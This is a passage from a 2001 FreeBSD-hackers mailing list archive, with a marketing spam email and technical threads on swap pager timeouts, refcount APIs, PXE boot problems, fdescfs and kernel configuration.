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 lzN+C0QSlzN+C0QSlzN+C0QSlzN+C0QSlzN+C0QSlzN+C0QSlzN+C0QSlzN+C0QSlzN+C0QSlzN+ C0QSlzN+CyQSn/L814QRJG5Lg8RtaZBIfIZM1U8NAqczVT81CLVJ9IIGiV7QINELGiR6QYWK/O3C BumcivztwgbpnIr87cIG6ZyK/O3CBoGc5CqTBoGc5CqTBoGc5CqTBoGc5CqTBpGclHM2SA8YRa4y aRBJXDlng0jiyjkbRBJXztkgkrhyzgaRxMGYWeQqkwaRxMGYWeQqkwaRxMGYWeQqkwVSztkgkrhy zgaRxJVzNogkrpyzQSRx5ZwNIokr52wQSZy87+QqkwaRxMn7Tq4yaRBJnLzv5CqTGZKrTBoEEper TBoEEperTBoEEperTBoEEperTBpEElfO2SCSOCi1i1xl0iCSOKjHS1Le0iCQU1Le0iCQk/y7bg0C OSW1UqFBJCe1UqFBoGcmtVKhQSRxtVKhQSRxtVKhQSRxtVKhQSRxtVKhQSRxtVKhQSRxtVKhQSRx 4i2JeEsi3pKItyTiLYl4SyLekoi3JOItiXhLIt6SiLck4i2JeEsi3pKItyTiLYl4SyLekoi3JOIt iXhLIt6SiLck4i2JeEsi3pKItyTiLYl4SyLekoi3qD/J3SGSOPEW9Se5O0QSJ96SiLck4i2JeEsi 3pKItyTiLYl4SyLekoi3JOItcpVJg0DiRrzFiLcY8RYj3mLEW4x4ixFvMeItRrzFiLcY8Rb1N7I7 RBIn3mLqW1mDSOLqW1mDSOLqW1mDSOLqW1mDSOLqW1mDSOLqW1mDSOLEOY04pxHnNOKcRpzTiHMa cU4jzmnEOY04pxHnNOKcRpzTiHMacU4jzmnEOY04pxHnNOKcRpzTiHMacU4jzmnEOY04pxHnNOKc RpzTiHMacU4jzmnEOY04pxHnNOKcRpzTiHMacU4jzmnEOY04pxHnNOKcZH1BIesLCllfUMj6gkLW FxSyvqCQ9QUFrS8w4pxGnNOIcxpxTiPOacQ5jTinEec04pxGnNOIcxpxTiPOacQ5jTinEec04pxG nNOIcxpxzkycMxPnzMQ5M3HOTJwzE+fMxDkzcc5MnDMT58zEOTNxzkycMxPnzMQ5M3HOTJwzE+fM xDkzcc5MnDMT58zEOTNxzkycMxPnzMQ5M3HOTJwzE+fMxDkzcc5MnDMT58zEOTNxzkycMxPnzMQ5 M3HOTJwzE+fMxDkzcc5MnDMT58zEOTNxzkycMxPnzMQ5s3DOEIKP6rfBOrT56iqUvHpzdmhz4h2S bZoh1KbNiXdoc+INEm/ODsnE503oN3ffEKKNaq+ADqmcFkjlFOsbWNhrh2SbZki2aYZQm9S9WyB1 72ZI2GuFJqd+QaBD8nQVEi+gDqmuEvWONjNUihjpOiTv3QzJezdD8t7NkA6zQjrMUsRI1yEd5rxK ikAkcTG71iGSuJhd6xBJXMyudYgkLmbXOkQSF7NrHSKJ6/FphkjienyaIZl4kTtPd0hcXRrHIB/z BokIGiQiWCBR+HVIdJUKRbWMqEP6SEn9OfUOiU43Q2r1xALJ0miGiipDFkjU4x0S/alBOswKgTCL qMc7RCJQ75YG6U6X5LulQSQn9W6pkNxjv0P66uQe+wskx4IGgTapXeg7hNqkE5e70HcIJK52oW+Q mFfpEDiSWmTeIKHdHQJhqo3QOoTaBCIgo6/caKhDoNOpjYY6RHISn1I6RHISn1I6BHJKYqqyQyCn BN7BFQI5JTFV2SGQk1r43iF0JJC4WvjeINIL1CLODpE2oV4gPqh1SL8UTS3i7BDoT2rZR4fA1anP 9B0CiavP9B0ibVIi0SCQuPpM3yGSuBKJBoEnWH2m7xBJXE10NIgkDqpoU5/pO0QSJ+8W9Zm+QyRx Mqqoz/QdIomTUUV9pu8QSZyMKuozfYdI4uIzfYdI4uIz/QJNJKeJ5DSRnCaS00RymkhOE8lpYjmB njmJ5QwNEssZOkQSF8sZOkQSJ8I1EeGSk1QNAlcnJ6kaBK5OTlI1CF0d6E9ykqpCeQT9qUK6P+UR 9KcK6cQrpBOvkE68QjrxCm1OPI4pjpOYw6jWZqPaTGue6gpq44UOoSNtvncd2nzvYrLRqY+hHRIR NEhd3QKpq1sgdXULRK5OfCLo0Oae2aHNPbNDm3tmh0ji4hNBh0jiorLvEElcVPYNEqNvh0jiYvTt EElcjL4dIomL0bdDJHFR2XeIJC4q+w6RxEVl3yGSuKjsO0QSl2PmApHE5Zi5QCRxUbF2iCQuKtYO kcRFxdohkrioWDtEEhcVRodI4qLC6BBJXFQYHSKJiwqjQyRxsQC3QyRxsQC3QyBxtUFqh0DiaoPU DoHE1QapHQKJqw1SOwQSVxukdogkLpYRdYgkLma1O0QSF7PaHSKJi1ntDpHExYeiDpHExQLcDpHE xQLcDpHExQLcDpHExQLcDpHExfqnDpHExfqnBSrkkSrkkSrkkSrkkSqkqxTSVQrpKoV0lUK6SiFd pZCuUkhXKaSrFNJVCuoqYqlch0jiYq12h0ji4qNxh0ji4tNch0ji4kNRg8TakA6RxMVa7Q6RxMn0 hFpl0iGSOJmeUKtMOkQSJ9MTagVjh0jiZHpCrWDsEEmcTE+oFYwdIomT6Qk1OdwhkjiZnlCTwx0i iZPpCTU53KHNiaf59zE+2zU82Jjq6+3N8fvVxZdDHP2Y5k+vlxer118Ovg6xYaw9/s35ajU8cGN9 8ab6D0dvKxvmxQr1WX/5/uzVd/Wfx4f+N8vPTlan66P18dnpF/fvnZ+drX/3j9XlxVf//PXwv09+ 9avV34/X9+/dO3h1fvz9enh9droazk6Hw3eXw9PVy2Fwg3NfOfuqPht+HN29/wMUEI0eHQ4BAA== ------=_NextPart_000_00D7_01C08C41.116F3EC0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 11:41:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cocoa.globalgold.co.uk (cocoa.globalgold.co.uk [212.250.240.8]) by hub.freebsd.org (Postfix) with ESMTP id 1B3D137B698; Thu, 1 Feb 2001 11:39:05 -0800 (PST) Received: from stephen (tnt-18-68.easynet.co.uk [212.134.224.68]) by cocoa.globalgold.co.uk (8.9.1/8.9.1) with SMTP id TAA08633; Thu, 1 Feb 2001 19:03:06 GMT From: "Mailer" To: Subject: Win a top of the range iMac, Palm Pilot or Discman Date: Thu, 1 Feb 2001 18:58:28 -0000 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0026_01C08C80.F6699130" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0026_01C08C80.F6699130 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Connect to your future and start 2001 as a winner Win a top of the range iMac, Palm Pilot or Discman All you have to do to win is register with planetgraduate, the new international site for students, graduates and employers. Simply click here to get started Take just a few seconds to register and enter our draw to win either a Palm Pilot or Sony Discman. Take a few minutes more and enter your CV with planetgraduate's CV Builder and you could win the incredibly cool iMac and be connected to the Internet in a couple of clicks. Enter our prize draw today to win one of these top prizes:- A top of the range iMac One of two Palm Pilots One of three Portable CD players Discman iMac Palm Pilot PS Double your chances of winning a Discman or Palm Pilot by helping us let your friends know about this great competition. The draw will take place on Friday 23rd February 2001 Prizes may differ from models shown To unsubscribe from this email, reply to this email with the word 'unsubscribe' only in the subject line or send an email to unsubscribe@planetgraduate.com get a job now | study net . the village | relax & enjoy . top deals | behind the scenes contact us . privacy policy . terms of use . copyright ------=_NextPart_000_0026_01C08C80.F6699130 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
3D"go 3Dplanetgraduate
     
Connect to your future and start 2001 as a=20 winner
Win a top = of the range=20 iMac, Palm Pilot or Discman
 

All you=20 have to do to win is register with planetgraduate, the new = international=20 site for students, graduates and employers.
Simply=20 click here to get started

Take just = a few=20 seconds to register and enter our draw to win either a Palm Pilot = or Sony=20 Discman. Take a few minutes more and enter your CV with = planetgraduate's=20 CV Builder and you could win the incredibly cool iMac and be = connected to=20 the Internet in a couple of clicks.

   
Enter our prize = draw today to=20 win one of these top prizes:-
A=20 top of the range iMac
One of two Palm = Pilots=20
One of=20 three Portable CD players
 
  3D"WIN 3D"Win 3D"Win  
  Discman=20 iMac Palm = Pilot  
 
  PS = Double=20 your chances of winning a Discman or Palm Pilot by helping us let = your=20 friends know about this great competition.
 
The draw=20 will take place on Friday 23rd February 2001
 
Prizes may differ from models shown

To unsubscribe = from this=20 email, reply to this email with the word 'unsubscribe' only in the = subject=20 line
or send an email to unsubscribe@planetgraduate= .com
 
  get a=20 job now  |  study=20 net  .  the=20 village  |  relax=20 & enjoy  .  top=20 deals&nbs= p; |  behind= =20 the scenes    
  contact=20 us  .  privacy=20 policy  .  terms=20 of use  .  copyright
------=_NextPart_000_0026_01C08C80.F6699130-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 12: 4:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mass.dis.org (unknown [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id 87BD837B4EC for ; Thu, 1 Feb 2001 12:04:34 -0800 (PST) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.1/8.11.1) with ESMTP id f11K4ZM01063; Thu, 1 Feb 2001 12:04:36 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200102012004.f11K4ZM01063@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: seebs@plethora.net (Peter Seebach) Cc: Max Khon , hackers@freebsd.org Subject: Re: swap_pager: indefinite wait buffer: device: #ad/0x20001, blkno: 288, size: 4096 In-reply-to: Your message of "Thu, 01 Feb 2001 10:53:23 CST." <200102011653.f11GrNn00943@guild.plethora.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 01 Feb 2001 12:04:35 -0800 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In message , Max Khon writes > : > >what does the following error message mean: > >swap_pager: indefinite wait buffer: device: #ad/0x20001, blkno: 288, > >size: 4096 > > >it happens when burncd is fixating disk > > My intuitive guess is that the fixate command has tied up a relevant bus, > and the kernel is bored. That's exactly it. More specifically, the swap pager is timing out on a request to read/write from swap because the bus is busy. You could move the burner to another IDE channel to work around this. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 12: 8:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 8DECC37B69F for ; Thu, 1 Feb 2001 12:08:13 -0800 (PST) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.1/8.9.3) with ESMTP id f11K1g354355; Thu, 1 Feb 2001 12:01:42 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <3A79B054.BB13FA83@elischer.org> Date: Thu, 01 Feb 2001 12:07:25 -0800 (PST) From: John Baldwin To: Julian Elischer Subject: Re: Atomic bit operations Cc: Matthew Emmerton , freebsd-hackers@FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 01-Feb-01 Julian Elischer wrote: > John Baldwin wrote: >> > >> >> The current implementation for it can be found at >> http://www.FreeBSD.org/~jhb/patches/refcount.patch. It's all done with >> simple >> atomic operations right now. >> > > what I do at the moment is: > > do { > v = node->nd_refs; > } while (! atomic_cmpset_int(&node->nd_refs, v, v - 1)); > > if (v == 1) { /* we were the last */ > .......whatever needs to be done > } > > but I'd rather have something more 'direct' With the refcount api you just use this: if (refcount_release(&node->nd_refs)) { /* was the last */ refcount_destroy(&node->nd_refs); ..... } The ucred refcount's could benefit from this, for example, as well as the node and hook refcounts in netgraph I think. Using a refcount is this simple: refcount_t foo; /* start off with one reference when we create it */ refcount_init(&foo, 1); ... refcount_acquire(&foo); /* add another reference */ Then use release as noted above in places that release a reference. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 12:33:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id 3B6C237B4EC for ; Thu, 1 Feb 2001 12:33:36 -0800 (PST) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id f11KWcl06065; Thu, 1 Feb 2001 12:32:38 -0800 (PST) Date: Thu, 1 Feb 2001 12:32:37 -0800 (PST) From: Doug White To: Alex Kapranoff Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD specific strftime(3) format specifiers In-Reply-To: <20010128102544.A2192@kapran.bitmcnit.bryansk.su> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 28 Jan 2001, Alex Kapranoff wrote: > Hi to all. > gcc supports strftime format string checking and issues a warning when > it encounters some unknown format specifier. FreeBSD strftime has > several additional format chars which gcc knows nothing about. > > This can easily be seen when compiling /usr/src/usr.sbin/pw: > pw_user.c:1175: warning: unknown conversion type character `f' in format > pw_user.c:1177: warning: unknown conversion type character `f' in format > > Are there chances that this could be fixed? I suppose, the patches > should be submitted to gcc developers and the changes will get into > our tree on next gcc source import? I believe there is a -fformat-extensions flag that gets around this problem. Check out the kernel build for the actual flag as it's used there. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 12:36:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id DF12237B491; Thu, 1 Feb 2001 12:36:17 -0800 (PST) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id f11Ka6B06115; Thu, 1 Feb 2001 12:36:10 -0800 (PST) Date: Thu, 1 Feb 2001 12:36:06 -0800 (PST) From: Doug White To: Danny Braniss Cc: John Baldwin , Terry Lambert , Paul Saab , freebsd-stable@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Really odd "BTX halted" problem booting - PXE/diskless In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 Jan 2001, Danny Braniss wrote: > im now being bitten by this one, but with a twist: > on a compaq deskpro workstation it's ok > on a dell-precision 420, it bombs. > both bioses are configured to boot via the network/pxe. > > im using the same disks for both boxes. > > i labeled the disks with: > dd if=/dev/zero of=/dev/rda0 bs=1k count=1 > disklabel -Brw da0 auto This is a bug in the adaptec BIOS. Don't do this for boot disks. Use fdisk/real slices instead. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 12:44:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.122.47]) by hub.freebsd.org (Postfix) with ESMTP id 6BAC037B69F; Thu, 1 Feb 2001 12:44:08 -0800 (PST) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.10.1/8.10.1) with ESMTP id f11Ki2J06201; Thu, 1 Feb 2001 12:44:07 -0800 (PST) Date: Thu, 1 Feb 2001 12:44:02 -0800 (PST) From: Doug White To: John Baldwin Cc: Matt Dillon , Drew Eckhardt , freebsd-hackers@FreeBSD.ORG Subject: Re: Suboptimal mmap of devices on i86 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 Jan 2001, John Baldwin wrote: > Then only rename it in 4.x We can do an API change for 5.0. We'll be > renaming syscall2() back to syscall() in 5.0 for example. We don't > want to end up with syscall47() someday in FreeBSD 67.2. :-P And what happens to apps using the previous syscall(2) interface? They die horribly? That's not acceptable. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 12:44:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net [151.164.30.29]) by hub.freebsd.org (Postfix) with ESMTP id 70B5C37B503 for ; Thu, 1 Feb 2001 12:44:14 -0800 (PST) Received: from holly.calldei.com ([208.191.149.190]) by mta5.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G830005HIB3RN@mta5.rcsntx.swbell.net> for freebsd-hackers@FreeBSD.ORG; Thu, 1 Feb 2001 14:30:40 -0600 (CST) Received: (from chris@localhost) by holly.calldei.com (8.11.1/8.9.3) id f11KWlh16646; Thu, 01 Feb 2001 14:32:47 -0600 (CST envelope-from chris) Date: Thu, 01 Feb 2001 14:32:46 -0600 From: Chris Costello Subject: Re: fdescfs oddities In-reply-to: <20010201162352.B351@nebula.cybercable.fr>; from mux@qualys.com on Thu, Feb 01, 2001 at 04:23:52PM +0100 To: Maxime Henrion Cc: freebsd-hackers@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20010201143246.B632@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.5i References: <20010201162352.B351@nebula.cybercable.fr> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, February 01, 2001, Maxime Henrion wrote: > I run a 4.2-STABLE machine, world done this morning. I had some troubles with > fdescfs. Reading the fdesc(5) manual page, I have to mount the fdescfs like I > would mount procfs. But if I compile my kernel with options FDESC or if I load > the fdesc.ko kernel module, I have access to /dev/fd/* and /dev/std* without > mounting anything. Outdated documentation ? > > The real problem comes when I actually try to mount fdescfs. I was able to mount > it several times on the same place (/dev) and 'mount' reported fdescfs as > mounted several times. Just after this, my box locked up. I was able to switch > to another virtual tty with alt+Fx but wasn't able to type anything nor to > reboot with ctrl+alt+suppr. I've done some work on fdescfs in -CURRENT a while back that gutted a lot of the old code, including what may have been making your shell have difficulties with /dev/tty. The proper way to do it is to union mount it on /dev. I have no idea as to what extent of testing my code has received, so I'm rather reluctant to commit it to -STABLE. There's nothing really wrong with the /dev/fd and /dev/tty you have without fdesc as far as you or your programs are concerned, but the implementation (as opposed to interface) is a bit of a hack. -- +-------------------+---------------------------------------------------+ | Chris Costello | CCITT - Can't Conceive Intelligent Thoughts Today | | chris@calldei.com | | +-------------------+---------------------------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 13: 9:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bingnet2.cc.binghamton.edu (bingnet2.cc.binghamton.edu [128.226.1.18]) by hub.freebsd.org (Postfix) with ESMTP id 54A2237B491 for ; Thu, 1 Feb 2001 13:09:09 -0800 (PST) Received: from onyx (onyx.cs.binghamton.edu [128.226.140.171]) by bingnet2.cc.binghamton.edu (8.11.2/8.11.2) with ESMTP id f11L98k19413 for ; Thu, 1 Feb 2001 16:09:08 -0500 (EST) Date: Thu, 1 Feb 2001 16:09:05 -0500 (EST) From: Zhiui Zhang X-Sender: zzhang@onyx To: freebsd-hackers@freebsd.org Subject: Obtain a list of active vnodes Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I tried to obtain a list of vnodes in the system. The command pstat -v no longer works. Is there any way to achieve this or hack the code a little bit to achieve this? Thanks. -Zhihui To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 13:12:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from xena.gsicomp.on.ca (cr677933-a.ktchnr1.on.wave.home.com [24.43.230.149]) by hub.freebsd.org (Postfix) with ESMTP id 810F537B4EC for ; Thu, 1 Feb 2001 13:12:00 -0800 (PST) Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.9.3) with SMTP id f11L9Fi14578; Thu, 1 Feb 2001 16:09:16 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <008201c08c94$739d48f0$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Daryl Chance" , "FreeBSD Hackers" References: <003901c08b9d$107b0d40$0200000a@mike> <20010131233508.A70852@xor.obsecurity.org> <001b01c08c54$653b4ae0$0200000a@mike> Subject: Re: Moving to KLM's Date: Thu, 1 Feb 2001 16:17:57 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > ok, what would be the minimal kernel that i can compile :), > or is there a document somewhere that says that info? We have > LINT, should we make something called MIN for minimal kernel needed to boot? It's not really feasible to create a "minimal" kernal, since "minimal" really depends on your hardware (the most obvious -- 